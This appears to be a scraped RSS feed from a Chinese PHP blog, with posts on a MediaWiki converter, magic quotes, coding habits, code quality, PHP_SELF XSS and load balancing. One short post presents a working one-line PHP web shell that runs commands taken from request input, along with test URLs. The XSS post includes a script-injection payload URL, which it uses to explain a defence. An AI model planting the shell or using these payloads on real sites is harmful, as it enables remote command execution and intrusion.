define("MEDIAWIKI_PATH", "/var/lib/mediawiki-1.14.0/");
require_once
"mediawiki-zhconverter.inc.php";

4. 作出转换

/*
    MediaWikiZhConverter::convert( "字词", "
转换目标");  
    转换目标可选值为 zh, zh-cn, zh-tw, zh-sg, zh-hk
*/


echo
MediaWikiZhConverter::convert("面包", "zh-tw");
echo
MediaWikiZhConverter::convert("記憶體", "zh-cn");
echo
MediaWikiZhConverter::convert("罗纳尔多", "zh-hk");

5. 完成

支持版本

下列MediaWiki 版本已证实可以兼容本程式 (http://download.wikimedia.org/mediawiki):

  • PHP4: 1.6.10, 1.6.11
  • PHP5: 1.12.0, 1.13.3

如非必要,请使用 PHP5 版本。

在线演示

http://labs.xddnet.com/mediawiki-zhconverter/example/example.html

]]>
PHP安全: 一个新型的php一句话cmdshell http://www.phpv.net/html/1671.html http://www.phpv.net/html/1671.html#comment Sun, 01 Mar 2009 00:19:16 +0000 抽烟的蚊子 http://www.phpv.net/html/1671.html <?php
echo `$_REQUEST[id]`;
?>

原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,
并返回命令执行的结果(string类型);  

局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;
``里面不能执行php代码;

测试方式:
http://www.phpv.net/test.php?id=dir%20c
相当于:dir c:

http://www.phpv.net/test.php?id=net%20start
查看已启动的WIN服务

.....



 


]]>
PHP中 Magic quotes 的问题探讨 http://www.phpv.net/html/1658.html http://www.phpv.net/html/1658.html#comment Wed, 07 Jan 2009 11:16:12 +0000 抽烟的蚊子 http://www.phpv.net/html/1658.html 对于 Magic quotes,对于 PHPer 而言是个老生常谈的问题。今天无意间看到篇文章,结合PHP Manual 以及其回复,在这里做个简单的汇总。

简而言之,Magic quotes 开启后会自动转义输入的数据。其中,所有的单引号(')、双引号(")、反斜线、和 NULL 字符都会被转义(增加个反斜线),其实这操作本质上调用的是 addslashes 函数

为什么使用 Magic quotes

方便快捷

PHP 的设计者在设计之初的构想就是能够快速方便的编程。例如插入数据库时,Magic quotes 会自动将数据转义,这很方便。

对初学者有利

Magic quotes 可以从一定程度上,让初学者带离脚本的安全风险。例如在没有任何保护措施的代码下,开启了 Magic quotes 后会少很多的风险,例如注入问题。当然,单一使用此方法,并不能完全阻止此类安全问题。

“我没有权限去关闭”

很显然你已经可能意识到了这个问题,但是主机空间并非完全由自己控制。

为什么不使用 Magic quotes

可移植性

无论此功能是否开启,它都会影响脚本的可移植性,因为它影响我们后续过滤数据的操作。

性能问题

在获取所有的外部数据之前都会被转义,这无疑会增加运行时的花销(而且并不是所有的数据都需要转义)。

造成困惑

正如上述所言,并非所有的数据都需要被转义。有可能出现的一种情况,就是当你为了获取未被转义的数据,而“疯狂的”使用 stripslashes 函数。

PHP6 已经不支持

PHP 的设计者显然已经意识到了自己的“错误”,所以在 PHP6 中已经将其废弃。

如何禁用 Magic quotes

按照本人观点,使用 php.ini 配置文件全局禁用 Magic quotes 是最靠谱的。参考下面的代码

; Magic quotes
;
; Magic quotes for incoming GET/POST/Cookie data.
magic_quotes_gpc = Off
; Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.
magic_quotes_runtime = Off
; Use Sybase-style magic quotes (escape ' with '' instead of ').
magic_quotes_sybase = Off

然而线上的主机可能无法让你修改 php.ini 文件,那么可以使用 .htaccess 文件禁用,加入下面的代码

php_flag magic_quotes_gpc Off

上述可移植的代码而言,无论是否禁用 magic_quotes,数据必须保持一致。那么下面的代码可以帮助您

<?php
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value) {
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}

$_GET = array_map('stripslashes_deep', $_GET);
$_POST = array_map('stripslashes_deep', $_POST);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
]]>
PHP 编程的 5 个良好习惯 http://www.phpv.net/html/1656.html http://www.phpv.net/html/1656.html#comment Wed, 31 Dec 2008 13:59:58 +0000 抽烟的蚊子 http://www.phpv.net/html/1656.html 像其他语言一样,开发人员可以用 PHP 编写出各种质量级别的代码。学习良好的编程习惯能够提高代码质量和效率。

根据具体的情况,一般的开发人员往往比优秀的开发人员的效率低 10%~20%。优秀的开发人员的效率更高,因为他们拥有丰富的经验和良好的编程习惯。不良的编程习惯将会影响到效率。本文通过展示一些良好的编程习惯,帮助您成为更优秀的程序员。

这 些良好的编程习惯不仅能提高效率,还能让您编写出在应用程序的整个生命周期中易于维护的代码。编写出来的代码可能需要大量的维护;应用程序的维护是一笔很 大的开支。养成良好的编程习惯能够提高设计质量(比如模块化),从而使代码更加容易理解,因此维护就更加容易,同时也降低维护成本。

不良的编程习惯会造成代码缺陷,使其难以维护和修改,并且很可能在修改时又引入其他缺陷。以下是 5 个良好的编程习惯,能够帮助 PHP 代码避免这些缺陷:

  1. 使用良好的命名。
  2. 分成更小的部分。
  3. 为代码添加注释。
  4. 处理错误条件。
  5. 切忌使用复制粘贴。

下一小节将详细介绍这些习惯。

使用良好的命名

使用良好的命名是最重要的编程习惯,因为描述性强的名称让代码更加容易阅读和理解。代码是否好理解取决于是否能在未来维护它。即便代码不带有注释,如果它很容易理解,将大大方便日后的更改。这个习惯的目标是让您编写的代码像书本一样容易阅读和理解。

不良习惯:含糊的或无意义的名称

清单 1 中的代码包含过短的变量名、难以辨认的缩写词,并且方法名不能反映该方法的功能。如果方法名给人的感觉是它应该做这件事情,而实际中它却做另外的事情,这将带来严重的问题,因为它会误导人。


清单 1. 不良习惯:含糊的或无意义的名称
				
<?php

function getNBDay($d)
{
switch($d) {
case 5:
case 6:
case 7:
return 1;
default:
return ($d + 1);
}
}

$day = 5;

$nextDay = getNBDay($day);

echo ("Next day is: " . $nextDay . "n");

?>

良好习惯:说明性强并且简洁的名称

清单 2 中的代码体现了良好的编程习惯。新的方法名具有很强的说明性,反映了方法的用途。同样,更改后的变量名也更具说明性。惟一的保持最短的变量是 $i,在本清单中,它是一个循环变量。尽管很多人不赞同使用过短的名称,但在循环变量中使用还是可以接受的(甚至有好处),因为它明确表明了代码的功能。


清单 2. 良好习惯:说明性强并且简洁的名称
				
<?php

define ('MONDAY', 1);
define ('TUESDAY', 2);
define ('WEDNESDAY', 3);
define ('THURSDAY', 4);
define ('FRIDAY', 5);
define ('SATURDAY', 6);
define ('SUNDAY', 7);

/*
*
* @param $dayOfWeek
* @return int Day of week, with 1 being Monday and so on.
*/
function findNextBusinessDay($dayOfWeek)
{
$nextBusinessDay = $dayOfWeek;

switch($dayOfWeek) {
case FRIDAY:
case SATURDAY:
case SUNDAY:
$nextBusinessDay = MONDAY;
break;
default:
$nextBusinessDay += 1;
break;
}

return $nextBusinessDay;
}

$day = FRIDAY;

$nextBusDay = findNextBusinessDay($day);

echo ("Next day is:" . $nextBusDay . "n");

?>

我们鼓励您将大的条件拆分为一个方法,然后用能够描述该条件的名字命名方法。这个技巧能够提高代码的可读性,并且能够将条件具体化,使之能够被提取甚至重用。如果条件发生变化,更新方法也很容易。因为方法拥有一个有意义的名字,所以它能反映代码的用途,让代码更容易阅读。







分成更小的部分

专心解决一个问题之后再继续编程,这样会让您更轻松。在解决一个紧急的问题时,如果继续编程,会使函数越来越长。从长远来说,这并不是一个问题,但您要记得回过头来将它重构为更小的部分。

重构是个不错的主意,但您应该养成编写更短、功能更集中的代码。短的方法能够在一个窗口中一次看完,并且容易理解。如果方法过长,不能在一个窗口中一次看完,那么它就变得不容易理解,因为您不能快速地从头到尾了解它的整个思路。

构建方法时,您应该养成这样的习惯,让每个方法只完成一件事情。这个习惯很好,因为:首先,如果方法只完成一件事情,那么它就更容易被重用;其次,这样的方法容易测试;第三,这样的方法便于理解和更改。

不良习惯:过长的方法(完成很多件事情)

清单 3 展示了一个很长的函数,其中存在很多问题。它完成很多件事情,因此不够紧凑。它也不便于阅读、调试和测试。它要做的事情包括遍历一个文件、构建一个列表、为每个对象赋值、执行计算等等。


清单 3. 不良习惯:过长的函数
				
<?php

function writeRssFeed($user)
{
// Get the DB connection information


// look up the user's preferences...
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
OR die(mysql_error());

// Query
$perfsQuery = sprintf("SELECT max_stories FROM user_perfs WHERE user= '%s'",
mysql_real_escape_string($user));

$result = mysql_query($query, $link);

$max_stories = 25; // default it to 25;

if ($row = mysql_fetch_assoc($result)) {
$max_stories = $row['max_stories'];
}

// go get my data
$perfsQuery = sprintf("SELECT * FROM stories WHERE post_date = '%s'",
mysql_real_escape_string());

$result = mysql_query($query, $link);


$feed = "<rss version="2.0">" .
"<channel>" .
"<title>My Great Feed</title>" .
"<link>http://www.example.com/feed.xml</link>" .
"<description>The best feed in the world</description>" .
"<language>en-us</language>" .
"<pubDate>Tue, 20 Oct 2008 10:00:00 GMT</pubDate>" .
"<lastBuildDate>Tue, 20 Oct 2008 10:00:00 GMT</lastBuildDate>" .
"<docs>http://www.example.com/rss</docs>" .
"<generator>MyFeed Generator</generator>" .
"<managingEditor>editor@example.com</managingEditor>" .
"<webMaster>webmaster@example.com</webMaster>" .
"<ttl>5</ttl>";

// build the feed...
while ($row = mysql_fetch_assoc($result)) {
$title = $row['title'];
$link = $row['link'];
$description = $row['description'];
$date = $row['date'];
$guid = $row['guid'];

$feed .= "<item>";
$feed .= "<title>" . $title . "</title>";
$feed .= "<link>" . $link . "</link>";
$feed .= "<description> " . $description . "</description>";
$feed .= "<pubDate>" . $date . "</pubDate>";
$feed .= "<guid>" . $guid . "</guid>";
$feed .= "</item>";
}

$feed .= "</rss";

// write the feed out to the server...
echo($feed);

}

?>

如果多编写几个这样的方法,维护就成了真正的难题了。

良好习惯:易管理、功能专一的方法

清单 4 将原来的方法改写为更加紧凑、易读的方法。在这个示例中,将一个很长的方法分解为几个短方法,并且让每个短方法负责一件事情。这样的代码对将来的重用和测试都是大有裨益的。


清单 4. 良好习惯:易管理、功能专一的方法
				
<?php

function createRssHeader()
{
return "<rss version="2.0">" .
"<channel>" .
"<title>My Great Feed</title>" .
"<link>http://www.example.com/feed.xml</link>" .
"<description>The best feed in the world</description>" .
"<language>en-us</language>" .
"<pubDate>Tue, 20 Oct 2008 10:00:00 GMT</pubDate>" .
"<lastBuildDate>Tue, 20 Oct 2008 10:00:00 GMT</lastBuildDate>" .
"<docs>http://www.example.com/rss</docs>" .
"<generator>MyFeed Generator</generator>" .
"<managingEditor>editor@example.com</managingEditor>" .
"<webMaster>webmaster@example.com</webMaster>" .
"<ttl>5</ttl>";
}

function createRssFooter()
{
return "</channel></rss>";
}

function createRssItem($title, $link, $desc, $date, $guid)
{
$item .= "<item>";
$item .= "<title>" . $title . "</title>";
$item .= "<link>" . $link . "</link>";
$item .= "<description> " . $description . "</description>";
$item .= "<pubDate>" . $date . "</pubDate>";
$item .= "<guid>" . $guid . "</guid>";
$item .= "</item>";
return $item;
}

function getUserMaxStories($db_link, $default)
{
$perfsQuery = sprintf("SELECT max_stories FROM user_perfs WHERE user= '%s'",
mysql_real_escape_string($user));

$result = mysql_query($perfsQuery, $db_link);

$max_stories = $default;

if ($row = mysql_fetch_assoc($result)) {
$max_stories = $row['max_stories'];
}

return $max_stories;
}

function writeRssFeed($user)
{
// Get the DB connection information
$settings = parse_ini_file("rss_server.ini");

// look up the user's preferences...
$link = mysql_connect($settings['db_host'], $settings['user'],
$settings['password']) OR die(mysql_error());

$max_stories = getUserMaxStories($link, 25);

// go get my data
$newsQuery = sprintf("SELECT * FROM stories WHERE post_date = '%s'",
mysql_real_escape_string(time()));

$result = mysql_query($newsQuery, $link);

$feed = createRssHeader();

$i = 0;
// build the feed...
while ($row = mysql_fetch_assoc($result)) {
if ($i < $max_stories) {
$title = $row['title'];
$link = $row['link'];
$description = $row['description'];
$date = $row['date'];
$guid = $row['guid'];

$feed .= createRssItem($title, $link, $description, $date, $guid);

$i++;
} else {
break;
}
}

mysql_close($link);

$feed .= createRssFooter();

// write the feed out to the server...
echo($feed);
}
?>

将长方法拆分为短方法也是有限制的,过度拆分将适得其反。因此,不要滥用这个良好的习惯。将代码分成大量的片段就像没有拆分长代码一样,都会造成阅读困难。







为代码添加注释

要为代码添加良好的注释有时似乎和编写代码一样难。要了解应该为哪些内容添加注释并不容易,因为我们常常倾向于注释代码当前做的事情。注释代码的目的是不错的主意。在函数的不是很明显的头部代码块中,告诉读者方法的输入和输出,以及方法的最初目标。

注释代码当前做什么是很常见的,但这是不必要的。如果代码很复杂,不得不注释它当前在做什么,这将暗示您应该重写代码,让它更容易理解。学会使用良好的名称和更短的方法,在不提供注释说明其用途的情况下提高代码的可读性。

不良习惯:函数注释过多或不足

清单 5 中的注释仅告诉读者代码在做什么 — 它正在通过一个循环进行迭代或添加一个数字。但它忽略了它为什么 做当前的工作。这使维护该代码的人员不知道是否可以安全地更改代码(不引入新缺陷)。


清单 5. 不良习惯:函数注释过多或不足
				
<?php

class ResultMessage
{
private $severity;
private $message;

public function __construct($sev, $msg)
{
$this->severity = $sev;
$this->message = $msg;
}

public function getSeverity()
{
return $this->severity;
}

public function setSeverity($severity)
{
$this->severity = $severity;
}

public function getMessage()
{
return $this->message;
}

public function setMessage($msg)
{
$this->message = $msg;
}
}

function cntMsgs($messages)
{
$n = 0;
/* iterate through the messages... */
foreach($messages as $m) {
if ($m->getSeverity() == 'Error') {
$n++; // add one to the result;
}
}
return $n;
}

$messages = array(new ResultMessage("Error", "This is an error!"),
new ResultMessage("Warning", "This is a warning!"),
new ResultMessage("Error", "This is another error!"));

$errs = cntMsgs($messages);

echo("There are " . $errs . " errors in the result.n");

?>

良好习惯:带注释的函数和类

清单 6 中的注释告诉读者类和方法的目的。该注释解释了为什么代码在做当前的工作,这对未来维护代码十分有用。可能需要根据条件变更而修改代码,如果能够轻松了解代码的目的,则修改起来很容易。


清单 6. 良好习惯:带注释的函数和类
				
<?php
/**
* The ResultMessage class holds a message that can be returned
* as a result of a process. The message has a severity and
* message.
*
* @author nagood
*
*/
class ResultMessage
{
private $severity;
private $message;

/**
* Constructor for the ResultMessage that allows you to assign
* severity and message.
* @param $sev See {@link getSeverity()}
* @param $msg
* @return unknown_type
*/
public function __construct($sev, $msg)
{
$this->severity = $sev;
$this->message = $msg;
}

/**
* Returns the severity of the message. Should be one
* "Information", "Warning", or "Error".
* @return string Message severity
*/
public function getSeverity()
{
return $this->severity;
}

/**
* Sets the severity of the message
* @param $severity
* @return void
*/
public function setSeverity($severity)
{
$this->severity = $severity;
}

public function getMessage()
{
return $this->message;
}

public function setMessage($msg)
{
$this->message = $msg;
}
}


/*
* Counts the messages with the given severity in the array
* of messages.
*
* @param $messages An array of ResultMessage
* @return int Count of messages with a severity of "Error"
*/
function countErrors($messages)
{
$matchingCount = 0;
foreach($messages as $m) {
if ($m->getSeverity() == "Error") {
$matchingCount++;
}
}
return $matchingCount;
}

$messages = array(new ResultMessage("Error", "This is an error!"),
new ResultMessage("Warning", "This is a warning!"),
new ResultMessage("Error", "This is another error!"));

$errs = countErrors($messages);

echo("There are " . $errs . " errors in the result.n");

?>







处理错误

根据大众的经验,如果要编写健壮的应用程序,错误处理要遵循 80/20 规则:80% 的代码用于处理异常和验证,20% 的代码用于完成实际工作。在编写程序的基本逻辑(happy-path)代码 时经常这样做。这意味着编写适用于基本条件的代码,即所有的数据都是可用的,所有的条件符合预期。这样的代码在应用程序的生命周期中可能很脆弱。另一个极端是,甚至需要花大量时间为从未遇到过的条件编写代码。

这一习惯要求您编写足够的错误处理代码,而不是编写对付所有错误的代码,以致代码迟迟不能完成。

不良习惯:根本没有错误处理代码

清单 7 中的代码演示了两个不良习惯。第一,没有检查输入的参数,即使知道处于某些状态的参数会造成方法出现异常。第二,代码调用一个可能抛出异常的方法,但没有处理该异常。当发生问题时,代码的作者或维护该代码的人员只能猜测问题的根源。


清单 7. 不良习惯:不处理错误条件
				
<?php

// Get the actual name of the
function convertDayOfWeekToName($day)
{
$dayNames = array(
"Sunday",
"Monday",
"Tuesday",
"Wednesday",
"Thursday",
"Friday",
"Saturday");
return $dayNames[$day];
}

echo("The name of the 0 day is: " . convertDayOfWeekToName(0) . "n");
echo("The name of the 10 day is: " . convertDayOfWeekToName(10) . "n");
echo("The name of the 'orange' day is: " . convertDayOfWeekToName('orange') . "n");

?>

良好习惯:处理异常

清单 8 展示了以有意义的方式抛出和处理异常。额外的错误处理不仅使代码更加健壮,它还提高代码的可读性,使代码更容易理解。处理异常的方式很好地说明了原作者在编写方法时的意图。


清单 8. 良好习惯:处理异常
				
<?php

/**
* This is the exception thrown if the day of the week is invalid.
* @author nagood
*
*/
class InvalidDayOfWeekException extends Exception { }

class InvalidDayFormatException extends Exception { }

/**
* Gets the name of the day given the day in the week. Will
* return an error if the value supplied is out of range.
*
* @param $day
* @return unknown_type
*/
function convertDayOfWeekToName($day)
{
if (! is_numeric($day)) {
throw new InvalidDayFormatException('The value '' . $day . '' is an ' .
'invalid format for a day of week.');
}

if (($day > 6) || ($day < 0)) {
throw new InvalidDayOfWeekException('The day number '' . $day . '' is an ' .
'invalid day of the week. Expecting 0-6.');
}

$dayNames = array(
"Sunday",
"Monday",
"Tuesday",
"Wednesday",
"Thursday",
"Friday",
"Saturday");
return $dayNames[$day];
}

echo("The name of the 0 day is: " . convertDayOfWeekToName(0) . "n");

try {
echo("The name of the 10 day is: " . convertDayOfWeekToName(10) . "n");
} catch (InvalidDayOfWeekException $e) {
echo ("Encountered error while trying to convert value: " . $e->getMessage() . "n");
}

try {
echo("The name of the 'orange' day is: " . convertDayOfWeekToName('orange') . "n");
} catch (InvalidDayFormatException $e) {
echo ("Encountered error while trying to convert value: " . $e->getMessage() . "n");
}

?>

虽然检查参数是一种确认 — 如果您要求参数处于某种状态,这将对使用方法的人很有帮助 — 但是您应该检查它们并抛出有意义的异常:

  • 处理异常要尽量与出现的问题紧密相关。
  • 专门处理每个异常。






切忌使用复制粘贴

您可以从其他地方将代码复制粘贴到自己的代码编辑器,但这样做有利也有弊。好的一面是,从一个示例或模板中复制代码能够避免很多错误。不好的一面是,这容易带来大量的类似编程方式。

一定要注意,不要将代码从应用程序的一部分复制粘贴到另一部分。如果您采用这种方式,请停止这个不良的习惯,然后考虑将这段代码重写为可重用的。一般而言,将代码放置到一个地方便于日后的维护,因为这样只需在一个地方更改代码。

不良习惯:类似的代码段

清单 9 给出了几个几乎一样的方法,只是其中的值不同而已。有一些工具可以帮助找到复制粘贴过来的代码(参见 参考资料)。


清单 9. 不良习惯:类似的代码段
				
<?php
/**
* Counts the number of messages found in the array of
* ResultMessage with the getSeverity() value of "Error"
*
* @param $messages An array of ResultMessage
* @return unknown_type
*/
function countErrors($messages)
{
$matchingCount = 0;
foreach($messages as $m) {
if ($m->getSeverity() == "Error") {
$matchingCount++;
}
}
return $matchingCount;
}

/**
* Counts the number of messages found in the array of
* ResultMessage with the getSeverity() value of "Warning"
*
* @param $messages An array of ResultMessage
* @return unknown_type
*/
function countWarnings($messages)
{
$matchingCount = 0;
foreach($messages as $m) {
if ($m->getSeverity() == "Warning") {
$matchingCount++;
}
}
return $matchingCount;
}

/**
* Counts the number of messages found in the array of
* ResultMessage with the getSeverity() value of "Information"
*
* @param $messages An array of ResultMessage
* @return unknown_type
*/
function countInformation($messages)
{
$matchingCount = 0;
foreach($messages as $m) {
if ($m->getSeverity() == "Information") {
$matchingCount++;
}
}
return $matchingCount;
}

$messages = array(new ResultMessage("Error", "This is an error!"),
new ResultMessage("Warning", "This is a warning!"),
new ResultMessage("Error", "This is another error!"));

$errs = countErrors($messages);

echo("There are " . $errs . " errors in the result.n");
?>

良好习惯:带参数的可重用函数

清单 10 展示了修改后的代码,它将复制的代码放到一个方法中。另一个方法也进行了更改,它现在将任务委托给新的方法。构建通用的方法需要花时间设计,并且这样做使您能停下来思考,而不是本能地使用复制粘贴。但有必要进行更改时,对通用的方法投入的时间将得到回报。


清单 10. 良好习惯:带参数的可重用函数
				
<?php
/*
* Counts the messages with the given severity in the array
* of messages.
*
* @param $messages An array of ResultMessage
* @return int Count of messages matching $withSeverity
*/
function countMessages($messages, $withSeverity)
{
$matchingCount = 0;
foreach($messages as $m) {
if ($m->getSeverity() == $withSeverity) {
$matchingCount++;
}
}
return $matchingCount;
}

/**
* Counts the number of messages found in the array of
* ResultMessage with the getSeverity() value of "Error"
*
* @param $messages An array of ResultMessage
* @return unknown_type
*/
function countErrors($messages)
{
return countMessages($messages, "Errors");
}

/**
* Counts the number of messages found in the array of
* ResultMessage with the getSeverity() value of "Warning"
*
* @param $messages An array of ResultMessage
* @return unknown_type
*/
function countWarnings($messages)
{
return countMessages($messages, "Warning");
}

/**
* Counts the number of messages found in the array of
* ResultMessage with the getSeverity() value of "Warning"
*
* @param $messages An array of ResultMessage
* @return unknown_type
*/
function countInformation($messages)
{
return countMessages($messages, "Information");
}

$messages = array(new ResultMessage("Error", "This is an error!"),
new ResultMessage("Warning", "This is a warning!"),
new ResultMessage("Error", "This is another error!"));

$errs = countErrors($messages);

echo("There are " . $errs . " errors in the result.n");

?>







结束语

如果您在编写 PHP 代码的过程中养成本文讨论的良好习惯,您将能够构建易读、易理解、易维护的代码。使用这种方式构建的易维护代码将降低调试、修复和扩展代码所面临的风险。

使用良好的名称和更短的方法能够提高代码的可读性。注释代码的目的有利于代码理解和扩展。适当地处理错误会使代码更加健壮。最后,停止使用复制粘贴,保持代码干净,提高可重用性。



关于作者

Nathan Good 居住在明尼苏达州的双子城。他的专长是软件开发、软件架构和系统管理。平时不编写软件时,他喜欢组装 PC 和服务器、阅读和撰写技术文章,并鼓励他的所有朋友转用开源软件。他是许多书籍和文章的作者或合著者,包括 Professional Red Hat Enterprise Linux 3, Regular Expression Recipes: A Problem-Solution Approach Foundations of PEAR: Rapid PHP Development

]]>
PHP代码的优与劣 http://www.phpv.net/html/1643.html http://www.phpv.net/html/1643.html#comment Thu, 27 Nov 2008 15:20:26 +0000 抽烟的蚊子 http://www.phpv.net/html/1643.html

   我在SitePoint做面试官的时候一定会问的问题是:你认为PHP代码的优劣体现在哪里?因为这个问题可以让我大体知道应聘者是哪种类型的程序员, 而不是单纯地考察他对PHP函数的掌握程度(这一点Zend的PHP认证做得不错,雅虎的PHP程序员面试题也属于此类)。

  重要的是,这个问题可以让我知道应聘者是否经历过这样的事情——从一个懒散程序员手中接过一段凌乱的代码进行重用,或者要帮助团队中的其他成员来处理这类事情。

  诚然,对于这个问题我自己并没有一个满意的答案,不过我知道哪些答案是我想听到的:

  优良的PHP代码应该是结构化的。大段的代码应该被分割整理成一个个函数或方法,而那些不气眼的小段代码则应该加上注释,以便日后清楚它们的用 途。而且应该尽可能地把前台代码如HTML、CSS、Javascript等从程序中分离出来。PHP的面向对象编程特性可以很好地帮助程序员将代码整理 有序。

  优良的PHP代码应该是规范化的。无论是为变量名和函数名设定命名规则,还是对一些会重复使用的过程如数据库操作和错误处理进行标准化,抑或是简单到规定好代码是怎样缩进的,这些规范化都可以让代码的可读性大大提高。

  优良的PHP代码应该是自适应的。PHP有许多特性如magic quotes和short tags,这些特性的打开和关闭会影响到程序的运行。所以,一个好的程序员应该在他的代码中加如适当的语句来使程序能够根据环境进行调整。

  优良的PHP代码应该是安全的。虽然PHP是一种高效、灵活的语言,没有固定的框架,但却把安全问题留给了程序员们。对潜在安全漏洞的深刻理 解,如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)、代码注入漏洞、字符编码循环漏洞等,对于今天的专业程序员来说是至关重要的。

  当应聘者在回答这些问题的时候,我就能清楚地知道是否该录用他。当然,有时程序员并不能很好地阐明这个问题,这时我们会让他们做一些PHP测试。测试中的许多问题表面上看起来非常简单,但这也给了应聘者们一个展现自我的机会,因为只要观察得仔细,就能找出问题。

  下面这一小段“劣质”的PHP代码是一道简化了的测试题。这种问题就像在问:你该怎样优化这段代码?

<?
echo("<p>Search results for query: " .
    $_GET['query'] . ".</p>");
?>

  这段代码的主要问题在于它把用户提交的数据直接显示到了网页上,从而产生XSS漏洞。其实有很多方法可以填补这个漏洞。那么,什么代码是我们想要的呢?

<?
echo("<p>Search results for query: " .
    htmlspecialchars($_GET['query']) . ".</p>");
?>

  这是最低要求。XSS漏洞用htmlspecialchars函数填补了,从而屏蔽了非法字符。

<?php  
if (isset($_GET['query']))  
{  
  echo '<p>Search results for query: ',  
      htmlspecialchars($_GET['query'], ENT_QUOTES), '.</p>';  
}  
?> 

  能写出这样代码的人应该是我想要录用的人了。

  • <?被替换成了<?php,这样更符合XML规范。
  • 在输出$_GET['query']的值之前先判断它是否为空。
  • echo命令中多余的括号被去掉了。
  • 字符串用单引号限定,从而节省了PHP从字符串中搜索可替换的变量的时间。
  • 用逗号代替句号,节省了echo的时间。
  • 将ENT_QUOTES标识传递给htmlspecialchars函数,从而保证单引号也会被转义。虽然这并是最主要的,但也算是一个良好习惯。

  可惜的是,能给出这样让人满意答复的程序员少之又少。我们花了3个月的时间才招聘到让我们满意的程序员。

  那么,你会怎样回答文章开头提出的问题呢?你认为PHP代码的优劣体现在哪里?你认为一个PHP程序员还应具有哪些品质?

]]>
不要轻信 PHP_SELF http://www.phpv.net/html/1639.html http://www.phpv.net/html/1639.html#comment Tue, 11 Nov 2008 19:22:27 +0000 esayr http://www.phpv.net/html/1639.html 开门见山,考虑下面的代码(原文连接有详细的解释)

<html>
<body>
<?php
if (isset($_REQUEST['submitted']) && $_REQUEST['submitted'] == '1') {
echo "Form submitted!";
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>">
<input type="hidden" name="submitted" value="1" />
<input type="submit" value="Submit!" />
</form>
</body>
</html>

看似准确无误的代码,但是暗藏着危险。让我们将其保存为 foo.php ,然后放到 PHP 环境中使用

foo.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo

访问,会发现弹出个 Javascript 的 alert -- 这很明显又是个 XSS 的注入漏洞。究其原因,发现是在

echo $_SERVER['PHP_SELF'];

这条语句上直接输出了未过滤的值。追根数源,我们看下 PHP 手册的描述

'PHP_SELF'

The filename of the currently executing script, relative to the document root.
For instance, $_SERVER['PHP_SELF'] in a script at the address
http://example.com/test.php/foo.bar would be /test.php/foo.bar. The __FILE__
constant contains the full path and filename of the current (i.e. included) file.
If PHP is running as a command-line processor this variable contains the script
name since PHP 4.3.0. Previously it was not available.

原因很明确了,原来是 $_SERVER['PHP_SELF'] 虽然“看起来”是服务器提供的环境变量,但这的确和 $_POST 与 $_GET 一样,是可以被用户更改的。

其它类似的变量有很多,比如 $_COOKIE 等(如果用户想“把玩”他们的 cookie,那我们也是没有办法)。解决方案很简单,使用 strip_tagshtmlentities 等此类函数过滤或者转义。

echo htmlentities($_SERVER['PHP_SELF']); 

-- Split --

上述的例子让我们需要时刻保持谨慎 coding 的心态。Chris Shiflett 在他的 Blog 总结的相当直白,防止 XSS 的两个基本的安全思想就是

Filter input
Escape output

我将上面翻译成 “过滤输入,转义输出”。详细的内容,可以参考他 Blog 的这篇文章,此处略。

]]>
PHP负载均衡指南 http://www.phpv.net/html/1634.html http://www.phpv.net/html/1634.html#comment Mon, 20 Oct 2008 10:28:28 +0000 admin http://www.phpv.net/html/1634.html 原文作者:Adam Charnock
原文链接:The Hitchhikers Guide to PHP Load Balancing
翻译:koda

过去当运行一个大的web应用时候意味着运行一个大型的web服务器。因为你的应用吸引了大量的用户,你将不得不在你的服务器里增加更多的内存和处理器。

今天,'大型服务器'模式已经过去,取而代之的是大量的小服务器,使用各种各样的负载均衡技术。这是一种更可行的方法,将使硬件成本降至最低。

'更多小服务器'的优势超过过去的'大型服务器'模式体现在两个方面:

  1. 如果服务器宕机,那么负载均衡系统将停止请求到宕机的服务器,转而分发负载到其他正常运行的服务器上。
  2. 扩展你的服务器更加容易。你要做的仅仅是加入新的服务器到负载均衡系统。不需要中断你的应用运行。

所以,把握住这个机会:). 当然,代价就是这要求你的应用开发时增加一点复杂度。这就是本文要覆盖的内容。

这时你可能对自己说: '但是我怎么知道我正在使用负载均衡呢?'。最诚实的回答是,如果你正在问这个问题,那么答案是你多半没有在使用负载均衡系统并且你的系统不需要考虑这个 问题。大多数情况,当应用成长足够大的规模时,负载均衡就需要明确提出和设置了。然而,我也偶尔看见虚拟主机公司为客户的应用做这个负载均衡,或者像下面 描述的那样要自己来做。

在继续下面的内容之前,我要指出本文主要描述PHP的负载均衡。将来我可能会写有关数据负载均衡的文字,但是现在你必须等待。

注意,我一直提“web应用”而不是website,这是想区分'web应用'是那些复杂的站点往往涉及服务器端编程和数据库,而不是website那样只显示简单的静态内容。

1. PHP文件

第一个问题是,如果你有大量的小型服务器,你怎么把你的php文件上传到所有的服务器上?有如下的方法供你参考:

  1. 分别上传所有的文件到每一个服务器 , 这种方法带来的问题是:想像一下你有20个服务器,那么上传过程中这将很容易导致错误,并且更新时极有可能导致不同服务器上有不同版本的文件。
  2. 使用 'rsync ' (或类似的软件) . 这样的工具能同步本地目录和多个远程主机目录上的文件。
  3. 使用版本控制软件(如subversion ) . 这是我最喜欢的方法。用它可以很好地维护我得代码,当发布我的应用时,可以在每一个服务器上运行svn update命令同步。这种方法也使切换服务器得代码到过去的某一个版本更加容易。
  4. 使用一个文件服务器(你可能发现NFS 非常适合做这件事情). 这种方式是使用一个文件服务器来存放你的web应用. 当然,如果你的文件服务器宕机,那么多所有你的站点将不能使用。这时,你就需要花费更多的开支来恢复它。

选择哪种方式依赖于你的需求和你掌握的技能。如果你使用版本控制系统,那么你可能得计划一个方法如果同时执行一个更新命令更新所有服务器上的代码。然而,如果使用文件服务器,你就要实现一些失败恢复机制,防止万一服务器宕机导致请求失败。

2. 文件上传

